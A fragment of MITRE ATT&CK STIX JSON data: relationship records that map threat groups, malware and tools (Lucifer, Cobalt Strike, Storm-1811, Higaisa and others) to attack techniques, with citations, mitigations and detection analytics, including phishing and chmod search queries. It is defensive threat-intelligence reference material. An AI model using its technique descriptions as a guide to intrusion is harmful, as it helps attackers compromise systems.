                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
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            "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\n\nAnalytic 1 - Detecting Phishing Emails with Malicious Attachments\n\n<code> (source=\"o365_audit\" OR source=\"gmail_logs\" OR source=\"email_gateway\")\n| where (spf=\"fail\" OR dkim=\"fail\" OR dmarc=\"fail\")\n| where (attachment IN (\"docm\", \"exe\", \"vbs\", \"js\", \"zip\"))\n| where (subject=\"invoice\" OR subject=\"urgent action required\" OR subject=\"account security update\")\n| eval risk_score=case(\n    spf=\"fail\" AND dkim=\"fail\", 9,\n    attachment IN (\"exe\", \"js\", \"vbs\"), 8,\n    subject IN (\"invoice\", \"security update\"), 7\n)\n| where risk_score >= 7\n| stats count by _time, sender, recipient, subject, risk_score</code> ",
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            "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
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                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"
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            "modified": "2025-04-28T15:48:18.082Z",
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.(Citation: Unit 42 Lucifer June 2020)",
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                {
                    "source_name": "Malwarebytes Higaisa 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/"
                },
                {
                    "source_name": "Zscaler Higaisa 2020",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.",
                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt"
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            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used Base64 encoded compressed payloads.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)",
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                {
                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
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            "description": "Monitor executed commands and arguments to detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)",
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                    "source_name": "sqlmap Introduction",
                    "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.",
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            "description": "[sqlmap](https://attack.mitre.org/software/S0225) can be used to automate exploitation of SQL injection vulnerabilities.(Citation: sqlmap Introduction)",
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                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"
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                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
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                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
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                    "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.",
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                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021.",
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            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can inject decrypted shellcode into the LanmanServer service.(Citation: Trend Micro Waterbear December 2019)",
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                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
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                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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                    "source_name": "Symantec Crambus OCT 2023",
                    "description": "Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024.",
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                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
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                    "url": "https://wald0.com/?p=179"
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                    "source_name": "Microsoft WMI Filters",
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                    "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/"
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                    "source_name": "Microsoft GPO Security Filtering",
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                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
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                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
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                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020.",
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                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
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                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.",
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                    "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
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            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the time on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)",
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                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
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                    "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"
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                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.",
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                {
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                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
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                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"
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            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to establish persistence for [TrickBot](https://attack.mitre.org/software/S0266) and other malware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)",
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            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from FTP clients and Outlook.(Citation: Proofpoint TA505 Sep 2017)",
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                {
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                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
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                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
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                    "description": "Golo M\u00fchr, Joe Fasulo & Charlotte Hammond, IBM X-Force. (2024, November 12). Strela Stealer: Today\u2019s invoice is tomorrow\u2019s phish. Retrieved December 31, 2024.",
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                    "description": "Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.",
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            "description": "[Mosquito](https://attack.mitre.org/software/S0256) can launch PowerShell Scripts.(Citation: ESET Turla Mosquito Jan 2018)",
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                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
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                {
                    "source_name": "KISA Operation Muzabi",
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                    "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.",
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                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.",
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            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers.(Citation: Cybereason Kimsuky November 2020)",
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                    "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.",
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                    "source_name": "Cybersecurity Advisory SVR TTP May 2021",
                    "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.",
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                    "source_name": "GitHub PoshC2",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.",
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.(Citation: McAfee Bankshot)",
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                },
                {
                    "source_name": "Talos Cobalt Strike September 2020",
                    "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"
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                {
                    "source_name": "CobaltStrike Daddy May 2017",
                    "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.",
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use VBA to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)(Citation: Talos Cobalt Strike September 2020)",
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                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
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                {
                    "source_name": "Morphisec ShellTea June 2019",
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
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                    "description": "Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
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                    "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--5a54aabe-e485-4a01-b284-cb080b11582b",
            "created": "2020-08-13T16:51:23.585Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "FireEye Hancitor",
                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:49:19.387Z",
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used PowerShell to execute commands.(Citation: FireEye Hancitor)",
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            "source_ref": "malware--ef2247bf-8062-404b-894f-d65d00564817",
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            "x_mitre_deprecated": false,
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "SentinelOne AcidPour 2024",
                    "description": "Juan Andr\u00e9s Guerrero-Saade & Tom Hegel. (2024, March 21). AcidPour | New Embedded Wiper Variant of AcidRain Appears in Ukraine. Retrieved November 25, 2024.",
                    "url": "https://www.sentinelone.com/labs/acidpour-new-embedded-wiper-variant-of-acidrain-appears-in-ukraine/"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:17:13.574Z",
            "description": "[AcidPour](https://attack.mitre.org/software/S1167) is associated with [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: SentinelOne AcidPour 2024)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "target_ref": "malware--4b1b3a36-bbd6-462c-9c03-7fd4fb5e0dfa",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--5a56cf34-c344-4b2a-ac9e-4f08f049d7ce",
            "created": "2020-10-21T17:01:35.472Z",
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            "external_references": [
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:49:19.678Z",
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has displayed fake forms on top of banking sites to intercept credentials from victims.(Citation: FireEye Metamorfo Apr 2018) ",
            "relationship_type": "uses",
            "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a56f203-5537-4dd1-a08d-db4526bf75bd",
            "created": "2024-09-17T19:15:26.744Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Bitsight Latrodectus June 2024",
                    "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.",
                    "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back"
                },
                {
                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
                },
                {
                    "source_name": "Elastic Latrodectus May 2024",
                    "description": "Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.",
                    "url": "https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"
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            ],
            "modified": "2025-04-16T22:17:14.043Z",
            "description": "[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to deobfuscate encrypted strings.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--76fde8df-3495-47c9-82eb-125c4f7fb621",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a580cd0-19f1-41d6-865b-786a41081a7e",
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            ],
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            "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
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            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a5914f0-4e99-494b-bcf3-b199f623e36d",
            "created": "2022-03-26T03:47:59.085Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Mythc Documentation",
                    "description": "Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022.",
                    "url": "https://docs.mythic-c2.net/"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:49:20.113Z",
            "description": "[Mythic](https://attack.mitre.org/software/S0699) can leverage a peer-to-peer C2 profile between agents.(Citation: Mythc Documentation)\t\t",
            "relationship_type": "uses",
            "source_ref": "tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a5abca2-6e7c-4714-a7e0-88d05885bb57",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a5d0520-7bee-4517-81f0-4710d99ac92b",
            "created": "2022-03-30T14:26:51.860Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:49:20.373Z",
            "description": "Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Windows Security events such as 4768 (A Kerberos authentication ticket (TGT) was requested) and 4769 (A Kerberos service ticket was requested) combined with logon session creation information may be indicative of an overpass the hash attempt.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a63e7cf-1914-4f05-ac85-5aa1690ed3ef",
            "created": "2025-03-14T13:56:21.794Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "rapid7-email-bombing",
                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
                    "url": "https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:17:14.950Z",
            "description": "[Storm-1811](https://attack.mitre.org/groups/G1046) has deployed a malicious DLL (7z.DLL) that is sideloaded by a modified, legitimate installer (7zG.exe) when that installer is executed with an additional command line parameter of `b` at runtime to load a [Cobalt Strike](https://attack.mitre.org/software/S0154) beacon payload.(Citation: rapid7-email-bombing)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--319fd652-edde-46b2-9987-3519493989f5",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a67ece5-7409-4eb5-8c64-4a67e2f52776",
            "created": "2020-03-09T14:15:05.754Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:49:20.675Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a683179-f1fc-4113-b157-2c0a03f82083",
            "created": "2022-03-30T14:26:51.854Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:17:15.373Z",
            "description": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.\n\nThis looks for any invocations of chmod. Note that this is likely to be more noisy than the Windows-specific implementation, although Linux does not generate logs for system triggered activities like in Windows. In addition, it may be necessary to whitelist cron jobs that regularly run and execute chmod.\n\nLinux environment logs can be more noisy than the Windows-specific implementation, although Linux does not generate logs for system triggered activities like in Windows. In addition, it may be necessary to whitelist cron jobs that regularly run and execute chmod.\n\nAnalytic 1 - Access Permission Modification for Linux\n\n<code>sourcetype=linux_logs CommandLine=\"chmod*\"</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
            "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a6942dc-eab7-4f45-b5fa-6149774e2acc",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:17:15.569Z",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Microsoft administration tool csvde.exe to export Active Directory data.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a6a649a-5c23-4c2c-852a-d7df27abcf6c",
            "created": "2024-05-17T13:19:39.872Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "RedCanary RaspberryRobin 2022",
                    "description": "Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.",
                    "url": "https://redcanary.com/blog/threat-intelligence/raspberry-robin/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:17:15.788Z",
            "description": "[Raspberry Robin](https://attack.mitre.org/software/S1130) has historically been delivered via infected USB drives containing a malicious LNK object masquerading as a legitimate folder.(Citation: RedCanary RaspberryRobin 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79",
            "target_ref": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a70a968-618c-489e-8087-eabca740aa3a",
            "created": "2020-03-13T14:10:43.564Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:49:21.103Z",
            "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--5a72e713-c8fb-4438-9a08-0ded824381dd",
            "created": "2020-01-24T15:01:33.185Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:49:21.279Z",
            "description": "Odbcconf.exe may not be necessary within a given environment.",
            "relationship_type": "mitigates",
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) uses command-line interaction to search files and directories.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: Microsoft NICKEL December 2021)",
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                    "source_name": "Microsoft Volt Typhoon May 2023",
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                    "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.",
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            "description": "[DnsSystem](https://attack.mitre.org/software/S1021) can download files to compromised systems after receiving a command with the string `downloaddd`.(Citation: Zscaler Lyceum DnsSystem June 2022)",
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                {
                    "source_name": "Secureworks GOLD KINGSWOOD September 2018",
                    "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.",
                    "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish"
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            "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) has collected data and other information from a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.",
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            "modified": "2025-04-28T15:50:29.914Z",
